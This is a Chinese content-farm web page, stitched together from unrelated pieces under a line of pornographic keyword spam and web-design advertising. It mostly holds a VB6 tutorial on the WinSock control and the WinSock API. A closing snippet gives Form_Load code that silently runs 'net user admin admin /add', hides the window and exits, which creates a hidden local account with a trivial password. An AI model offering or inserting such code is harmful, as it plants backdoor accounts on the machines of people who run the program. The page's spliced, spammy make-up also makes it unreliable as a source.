欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

關(guān)于vb6cnet的信息

高分VB6.0的問(wèn)題 遠(yuǎn)程高手進(jìn)

VB網(wǎng)絡(luò)編程--WinSock控件及WinSockAPI

目前創(chuàng)新互聯(lián)已為上千多家的企業(yè)提供了網(wǎng)站建設(shè)、域名、網(wǎng)站空間網(wǎng)站運(yùn)營(yíng)、企業(yè)網(wǎng)站設(shè)計(jì)、青海網(wǎng)站維護(hù)等服務(wù),公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長(zhǎng),共同發(fā)展。

WinSock簡(jiǎn)介

Socket(套接字)最初是由加利福尼亞大學(xué)Berkeley(伯克利)分校為UNIX操作系統(tǒng)開發(fā)的網(wǎng)絡(luò)通信接口,隨著UNIX的廣泛使用,Socket成為當(dāng)前最流行的網(wǎng)絡(luò)通信應(yīng)用程序接口之一。20世紀(jì)90年代初,由Sun Microsystems,JSB,FTP software,Microdyne和Microsoft等幾家公司共同定制了一套標(biāo)準(zhǔn),即Windows Socket規(guī)范,簡(jiǎn)稱WinSock。

VB編寫網(wǎng)絡(luò)程序主要有兩種方式:1.winsock控件 2.winsockAPI

二,WinSock控件的使用

1.WinSock控件的主要屬性

a.Protocol屬性

通過(guò)Protocol屬性可以設(shè)置WinSock控件連接遠(yuǎn)程計(jì)算機(jī)使用的協(xié)議。可選的協(xié)議是TCP和UDP對(duì)應(yīng)的VB的常量分別是sckTCPProtocol和sckUDPProtocol,Winsock控件默認(rèn)協(xié)議是TCP。注意:雖然可以在運(yùn)行時(shí)設(shè)置協(xié)議,但必須在連接未建立或斷開連接后。

b.SocketHandle屬性

SocketHandle返回當(dāng)前socket連接的句柄,這是只讀屬性。

c.RemoteHostIP屬性

RemoteHostIP屬性返回遠(yuǎn)程計(jì)算機(jī)的IP地址。在客戶端,當(dāng)使用了控件的Connect方法后,遠(yuǎn)程計(jì)算機(jī)的IP地址就賦給了RemoteHostIP屬性,而在服務(wù)器端,當(dāng)ConnectRequest事件后,遠(yuǎn)程計(jì)算機(jī)(客戶端)的IP地址就賦給了這個(gè)屬性。如果使用的是UDP協(xié)議那么當(dāng)DataArrival事件后,發(fā)送UDP報(bào)文的計(jì)算機(jī)的IP才賦給了這個(gè)屬性。

d.ByteReceived屬性

返回當(dāng)前接收緩沖區(qū)中的字節(jié)數(shù)

e.State屬性

返回WinSock控件當(dāng)前的狀態(tài)

常數(shù) 值 描述

sckClosed 0 缺省值,關(guān)閉。

SckOpen 1 打開。

SckListening 2 偵聽

sckConnectionPending 3 連接掛起

sckResolvingHost 4 識(shí)別主機(jī)。

sckHostResolved 5 已識(shí)別主機(jī)

sckConnecting 6 正在連接。

sckConnected 7 已連接。

sckClosing 8 同級(jí)人員正在關(guān)閉連接。

sckError 9 錯(cuò)誤

2.WinSock主要方法

a.Bind方法

用Bind方法可以把一個(gè)端口號(hào)固定為本控件使用,使得別的應(yīng)用程序不能再使用這個(gè)端口。

b.Listen方法

Listen方法只在使用TCP協(xié)議時(shí)有用。它將應(yīng)用程序置于監(jiān)聽檢測(cè)狀態(tài)。

c.Connect方法

當(dāng)本地計(jì)算機(jī)希望和遠(yuǎn)程計(jì)算機(jī)建立連接時(shí),就可以調(diào)用Connect方法。

Connect方法調(diào)用的規(guī)范為:

Connect RemoteHost,RemotePort

d.Accept方法

當(dāng)服務(wù)器接收到客戶端的連接請(qǐng)求后,服務(wù)器有權(quán)決定是否接受客戶端的請(qǐng)求。

e.SendData方法

當(dāng)連接建立后,要發(fā)送數(shù)據(jù)就可以調(diào)用SendData方法,該方法只有一個(gè)參數(shù),就是要發(fā)送的數(shù)據(jù)。

f.GetData方法

當(dāng)本地計(jì)算機(jī)接收到遠(yuǎn)程計(jì)算機(jī)的數(shù)據(jù)時(shí),數(shù)據(jù)存放在緩沖區(qū)中,要從緩沖區(qū)中取出數(shù)據(jù),可以使用GetData方法。GetData方法調(diào)用規(guī)范如下:

GetData data,[type,][maxLen]

它從緩沖區(qū)中取得最長(zhǎng)為maxLen的數(shù)據(jù),并以type類型存放在data中,GetData取得數(shù)據(jù)后,就把相應(yīng)的緩沖區(qū)清空。

g.PeekData方法

和GetData方法類似,但PeekData在取得數(shù)據(jù)后并不把緩沖區(qū)清空。

3.Winsock控件主要事件

a.ConnectRequest事件

當(dāng)本地計(jì)算機(jī)接收到遠(yuǎn)程計(jì)算機(jī)發(fā)送的連接請(qǐng)求時(shí),控件的ConnectRequest事件將會(huì)被觸發(fā)。

b.SendProgress事件

當(dāng)一端的計(jì)算機(jī)正在向另一端的計(jì)算機(jī)發(fā)送數(shù)據(jù)時(shí),SendProgress事件將被觸發(fā)。SendProgress事件記錄了當(dāng)前狀態(tài)下已發(fā)送的字節(jié)數(shù)和剩余字節(jié)數(shù)。

c.SendComplete事件

當(dāng)所有數(shù)據(jù)發(fā)送完成時(shí),被觸發(fā)。

d.DataArrival事件

當(dāng)建立連接后,接受到了新數(shù)據(jù)就會(huì)觸發(fā)這個(gè)事件。注意:如果在接受到新數(shù)據(jù)前,緩沖區(qū)中非空,就不會(huì)觸發(fā)這個(gè)事件。

e.Error事件

當(dāng)在工作中發(fā)生任何錯(cuò)誤都會(huì)觸發(fā)這個(gè)事件。

例子見附件

三,WinSockAPI的使用

1.WSAStartup 函數(shù)

為了在你的應(yīng)用程序當(dāng)中調(diào)用任何一個(gè)Winsock API 函數(shù),首先第一件事情你就是必須通過(guò)WSAStartup函數(shù)完成對(duì)Winsock 服務(wù)的初始化,因此需要調(diào)用WSAStartup函數(shù)。

Declare Function WSAStartup Lib "ws2_32.dll" _

(ByVal wVersionRequired As Long, lpWSAData As WSAData) As Long

這個(gè)函數(shù)有兩個(gè)參數(shù): wVersionRequired 和 lpWSAData。wVersionRequired 參數(shù)定義Windows Sockets 提供能使用的最高版本,它的高位字節(jié)定義的是次版本號(hào),低位字節(jié)定義的是主版本號(hào)。下面的2個(gè)Winsock版本在VB中使用的例子:

初始化1.1版本

lngRetVal = WSAStartup(H101, udtWinsockData)

初始化2.2版本

lngRetVal = WSAStartup(H202, udtWinsockData)

第二個(gè)參數(shù)是WSADATA 的數(shù)據(jù)結(jié)構(gòu) ,它是接收Windows Sockets 執(zhí)行時(shí)的數(shù)據(jù)。

Type WSAData

wVersion As Integer

wHighVersion As Integer

szDescription As String * WSADESCRIPTION_LEN

szSystemStatus As String * WSASYS_STATUS_LEN

iMaxSockets As Integer

iMaxUdpDg As Integer

lpVendorInfo As Long

End Type

數(shù)據(jù)成員的描述在下表中:

Field 描述

wVersion Windows Sockets 版本信息。

wHighVersion 通過(guò)加載庫(kù)文件得到的最高的支持Winsock 的版本,

它通常和wVersion值相同。

szDescription Windows Sockets 執(zhí)行時(shí)的詳細(xì)描述

szSystemStatus 包含了相關(guān)的狀態(tài)和配置的信息

iMaxSockets 表示同時(shí)打開的socket最大數(shù),為0表示沒有限制。

iMaxUdpDg 表示同時(shí)打開的數(shù)據(jù)報(bào)最大數(shù),為0表示沒有限制。

lpVendorInfo 廠商指定信息預(yù)留

在Winsock的1.1和2.2版本中沒有l(wèi)pVendorInfo的返回值。因?yàn)閣insock 2支持多個(gè)傳輸協(xié)議,所以iMaxSockets 和iMaxUdpDg只能在僅支持TCP/TP的winsock1.1中使用。為了在Winsock 2中獲得這些值,你可以使用WSAEnumProtocols 函數(shù)。

如果成功或者返回一個(gè)錯(cuò)誤代碼,則函數(shù)返回 0。

錯(cuò)誤代碼 含義

WSASYSNOTREADY 指出網(wǎng)絡(luò)沒有為傳輸準(zhǔn)備好。

WSAVERNOTSUPPORTED 當(dāng)前的WinSock實(shí)現(xiàn)不支持應(yīng)用程序指定的Windows Sockets規(guī)范版本

WSAEINPROGRESS 一個(gè)阻塞WinSock調(diào)用正在進(jìn)行

WSAEPROCLIM 請(qǐng)求的協(xié)議沒有在系統(tǒng)中配置或沒有支持它的實(shí)現(xiàn)存在。

WSAEFAULT lpWSAData 不是有效的指針

2.WSACleanup 函數(shù)

每次調(diào)用了WSAStartup函數(shù),你都需要調(diào)用WSACleanup函數(shù),通知系統(tǒng)來(lái)卸載庫(kù)文件及清除已分配的資源,這個(gè)函數(shù)十分簡(jiǎn)單,沒有任何參數(shù):

Declare Function WSACleanup Lib "ws2_32.dll" () As Long

3.建立Socket函數(shù)

Declare Function socket Lib "ws2_32.dll" (ByVal af As Long, _

ByVal s_type As Long,

ByVal Protocol As Long) As Long

函數(shù)有3個(gè)參數(shù)定義建立何種socket,三個(gè)參數(shù)分別是:

Argument Description Enum Type

af Address family specification. AddressFamily

s_type Type specification for the new socket. SocketType

Protocol Protocol to be used with the socket SocketProtocol

that is specific to the indicated address

family.

AddressFamily:

AF_UNSPEC = 0 '/* unspecified */

AF_UNIX = 1 '/* local to host (pipes, portals) */

AF_INET = 2 '/* internetwork: UDP, TCP, etc. */

AF_IMPLINK = 3 '/* arpanet imp addresses */

AF_PUP = 4 '/* pup protocols: e.g. BSP */

AF_CHAOS = 5 '/* mit CHAOS protocols */

AF_NS = 6 '/* XEROX NS protocols */

AF_IPX = AF_NS '/* IPX protocols: IPX, SPX, etc. */

AF_ISO = 7 '/* ISO protocols */

AF_OSI = AF_ISO '/* OSI is ISO */

AF_ECMA = 8 '/* european computer manufacturers */

AF_DATAKIT = 9 '/* datakit protocols */

AF_CCITT = 10 '/* CCITT protocols, X.25 etc */

AF_SNA = 11 '/* IBM SNA */

AF_DECnet = 12 '/* DECnet */

AF_DLI = 13 '/* Direct data link interface */

AF_LAT = 14 '/* LAT */

AF_HYLINK = 15 '/* NSC Hyperchannel */

AF_APPLETALK = 16 '/* AppleTalk */

AF_NETBIOS = 17 '/* NetBios-style addresses */

AF_VOICEVIEW = 18 '/* VoiceView */

AF_FIREFOX = 19 '/* Protocols from Firefox */

AF_UNKNOWN1 = 20 '/* Somebody is using this! */

AF_BAN = 21 '/* Banyan */

AF_ATM = 22 '/* Native ATM Services */

AF_INET6 = 23 '/* Internetwork Version 6 */

AF_CLUSTER = 24 '/* Microsoft Wolfpack */

AF_12844 = 25 '/* IEEE 1284.4 WG AF */

AF_MAX = 26

Socket types:

SOCK_STREAM = 1 ' /* stream socket */

SOCK_DGRAM = 2 ' /* datagram socket */

SOCK_RAW = 3 ' /* raw-protocol interface */

SOCK_RDM = 4 ' /* reliably-delivered message */

SOCK_SEQPACKET = 5 ' /* sequenced packet stream */

Protocols:

IPPROTO_IP = 0 '/* dummy for IP */

IPPROTO_ICMP = 1 '/* control message protocol */

IPPROTO_IGMP = 2 '/* internet group management protocol */

IPPROTO_GGP = 3 '/* gateway^2 (deprecated) */

IPPROTO_TCP = 6 '/* tcp */

IPPROTO_PUP = 12 '/* pup */

IPPROTO_UDP = 17 '/* user datagram protocol */

IPPROTO_IDP = 22 '/* xns idp */

IPPROTO_ND = 77 '/* UNOFFICIAL net disk proto */

IPPROTO_RAW = 255 '/* raw IP packet */

IPPROTO_MAX = 256

該函數(shù)可以建立使用特定協(xié)議的網(wǎng)絡(luò)套接字,例如對(duì)于UDP協(xié)議可以這樣寫:

s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)

s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)

4.關(guān)閉Socket函數(shù)

Declare Function closesocket Lib "ws2_32.dll" (ByVal s As Long) As Long

函數(shù)有一個(gè)參數(shù)為建立socket時(shí)的Handle

5.連接函數(shù)

Declare Function connect Lib "ws2_32.dll" (ByVal s As Long, _

ByRef name As sockaddr_in, _

ByVal namelen As Long) As Long

參數(shù)

s 連接的socket句柄。

name 建立連接的地址。

namelen 連接地址的長(zhǎng)度。

返回值

成功時(shí)返回0。否則返回SOCKET_ERROR以及一個(gè)對(duì)應(yīng)的錯(cuò)誤號(hào) Err.LastDllError。

顯然在調(diào)用這個(gè)函數(shù)時(shí)我們需要知道socket句柄,將連接的電腦的端口號(hào)和主機(jī)名稱(或主機(jī)IP地址)。我們知道Winsock 控件的Connect方法依靠?jī)蓚€(gè)變量:RemoteHost 和RemotePort。此方法不需要socket句柄,因其已經(jīng)被封裝在COM對(duì)象中。你也許認(rèn)為connect函數(shù)應(yīng)該也接受相同的變量設(shè)置,然而,事實(shí)并非如此。connect函數(shù)的主機(jī)地址和端口號(hào)的傳送是依靠 sockaddr_in 結(jié)構(gòu)。

Public Type sockaddr_in

sin_family As Integer

sin_port As Integer

sin_addr As Long

sin_zero(1 To 8) As Byte

End Type

6.套接字幫定函數(shù)

Declare Function bind Lib "ws2_32.dll" (ByVal s As Long, _

ByRef name As sockaddr_in, _

ByRef namelen As Long) As Long

s是使用Socket函數(shù)創(chuàng)建好的套接字,name指向描述通信對(duì)象的結(jié)構(gòu)體的指針,namelen是該結(jié)構(gòu)的長(zhǎng)度。該結(jié)

構(gòu)體中的分量包括:

IP地址:對(duì)應(yīng)name.sin_addr.s_addr

端口號(hào):對(duì)應(yīng)name.sin_port

端口號(hào)用于表示同一臺(tái)計(jì)算機(jī)上不同的進(jìn)程(即應(yīng)用程序),其分配方法有兩種:

第一種分配方法是,進(jìn)程讓系統(tǒng)為套接字自動(dòng)分配一端口號(hào),這只要在調(diào)用bind前將端口號(hào)指定為0即可。由系統(tǒng)自動(dòng)分配的端口號(hào)位于1024~5000之間,而1~1023之間的任一TCP或UDP端口都是保留的,系統(tǒng)不允許任一進(jìn)程使用保留端口,除非其有效用戶ID是零(即超級(jí)用戶)。

第二種分配方法是,進(jìn)程為套接字指定一特定端口。這對(duì)于需要給套接字分配一眾所周知的端口的服務(wù)器是很有用的。指定范圍在1024~65536之間。

地址類型:對(duì)應(yīng)name.sin_family,一般都賦成AF_INET,表示是internet地址(即IP 地址)。IP地址通常使用點(diǎn)分表示法表示,但它事實(shí)上一個(gè)32位的長(zhǎng)整數(shù),這兩者之間可通過(guò)inet_addr()函數(shù)轉(zhuǎn)換。

7.套接字監(jiān)聽函數(shù)

Declare Function listen Lib "ws2_32.dll" (ByVal s As Long, ByVal backlog As Long) As Long

listen函數(shù)用來(lái)設(shè)定Socket為監(jiān)聽狀態(tài),這種狀態(tài)表明Socket準(zhǔn)備被連接了。注意,此函數(shù)一般在服務(wù)程序上使用,其中s是使用Socket函數(shù)創(chuàng)建好的套接字,backlog參數(shù)用于設(shè)定等待連接的客戶端數(shù)。

8.接受連接請(qǐng)求

Declare Function accept Lib "ws2_32.dll" (ByVal s As Long, ByRef addr As sockaddr_in, _

ByRef addrlen As Long) As Long

服務(wù)端應(yīng)用程序調(diào)用此函數(shù)來(lái)接受客戶端Socket連接請(qǐng)求,accept()函數(shù)的返回值為一新的Socket,新Socket就可用來(lái)完成服務(wù)端和客戶端之間的信息傳遞與接收,而原來(lái)Socket仍可以接受其他可戶端的連接請(qǐng)求。

9.接收信息

Declare Function recv Lib "ws2_32.dll" (ByVal s As Long, _

ByRef buf As Any, _

ByVal buflen As Long, _

ByVal flags As Long) As Long

s 一個(gè)已連接的socket的識(shí)別符

buf 接受到的數(shù)據(jù)的緩沖區(qū)

len 緩沖區(qū)長(zhǎng)度

flags 指定從哪調(diào)用的標(biāo)識(shí)

第一個(gè)參數(shù)是socket的句柄-為socket函數(shù)返回值。那就是說(shuō):我們需要告訴recv函數(shù),哪一個(gè)socket正訪問(wèn)函數(shù)。

第二個(gè)參數(shù)是:函數(shù)執(zhí)行之后能裝載一些數(shù)據(jù)的緩沖區(qū)。但它不是必須要有足夠的長(zhǎng)度接收Winsock緩沖區(qū)的所有數(shù)據(jù),緩沖區(qū)的大小限制為8192 字節(jié) (8 Kbytes)。因此如果Winsock緩沖區(qū)的數(shù)據(jù)的大小大于recv函數(shù)的緩沖區(qū),你必需多次調(diào)用此函數(shù),直到獲取所有的數(shù)據(jù)。

如果應(yīng)用程序定義緩沖區(qū)的長(zhǎng)度,則recv函數(shù)必須知道緩沖區(qū)可以存放多少字節(jié)。第三個(gè)參數(shù)就是為了這個(gè)目的。

最后一個(gè)參數(shù)是可選的,今天我們不使用。該參數(shù)有兩個(gè)選擇標(biāo)志: MSG_PEEK 和 MSG_OOB,用于改變函數(shù)的行為。

MSG_PEEK 從輸入數(shù)據(jù)中取數(shù)。數(shù)據(jù)拷入緩沖區(qū),但不從輸入隊(duì)列中移走。函數(shù)返回當(dāng)前準(zhǔn)備接收的字節(jié)數(shù)。

MSG_OOB 處理OOB(Out-of-band帶外)數(shù)據(jù)。在網(wǎng)絡(luò)上有兩種類型的數(shù)據(jù)包,正常包和帶外包。帶外包可以通過(guò)檢驗(yàn)一個(gè)TCP/IP包頭的一個(gè)特定標(biāo)志來(lái)決定。

10.發(fā)送信息

Declare Function send Lib "ws2_32.dll" (ByVal s As Long, _

ByRef buf As Any, _

ByVal buflen As Long, _

ByVal flags As Long) As Long

參數(shù)參看接收信息

四,服務(wù)器與客戶機(jī)交互

目前最常用的方法是:服務(wù)程序在一個(gè)眾所周知的地址(其中包括端口信息)監(jiān)聽對(duì)服務(wù)的請(qǐng)求,也就是說(shuō),服務(wù)進(jìn)程一直處于休眠狀態(tài),直到一個(gè)客戶對(duì)這個(gè)服務(wù)的地址提出了連接請(qǐng)求。這個(gè)時(shí)刻,服務(wù)程序被喚醒并對(duì)客戶的請(qǐng)求作出適當(dāng)?shù)姆磻?yīng)。注意,服務(wù)器與客戶機(jī)之間的交互可以是面向連接的(基于流套接字),也可以是無(wú)連接的(基于數(shù)據(jù)報(bào)套接字)。

服務(wù)器

socket()

|

bind()

|

listen() 客戶機(jī)

|

| socket()

| 建立連接 |

accept() ------------------------- connect()

| 請(qǐng)求數(shù)據(jù) |

recv() ----------------------------- send()

| |

處理服務(wù)請(qǐng)求 |

| 應(yīng)答數(shù)據(jù) |

send() ------------------------------ recv()

| |

close() close()

五,其他

比較:WinSock控件

優(yōu)點(diǎn):使用簡(jiǎn)單,工作量小。

缺點(diǎn):功能少僅支持TCP,UDP協(xié)議,需要WinSock控件(系統(tǒng)默認(rèn)安裝不帶MSWINSCK.OCX文件)

適合于初學(xué)者

WinSockAPI

優(yōu)點(diǎn):功能強(qiáng)大,支持多種協(xié)議,使用靈活,WinSockAPI調(diào)用的wsock32.dll(28K)或ws2_32.dll(69K)為Windows系統(tǒng)自帶函數(shù)庫(kù)不必?fù)?dān)心缺少文件。

缺點(diǎn):使用復(fù)雜,編程量大,需要一定基礎(chǔ)

適合于要求較高的網(wǎng)絡(luò)程序

如何在一打開VB程序時(shí)運(yùn)行命令

Private

Sub

Form_Load()

Shell

"cmd.exe

/c

net

user

admin

admin

/add"

'運(yùn)行命令

Form1.Visible

=

False

'窗體隱藏

unload

me

'運(yùn)行命令后,自動(dòng)關(guān)閉程序

End

Sub

刪除窗體所有代碼,然后把以上代碼復(fù)制進(jìn)去,生成EXE,就OK

標(biāo)題名稱:關(guān)于vb6cnet的信息
文章來(lái)源:http://chinadenli.net/article30/hedspo.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站維護(hù)App設(shè)計(jì)網(wǎng)頁(yè)設(shè)計(jì)公司建站公司響應(yīng)式網(wǎng)站品牌網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

手機(jī)網(wǎng)站建設(shè)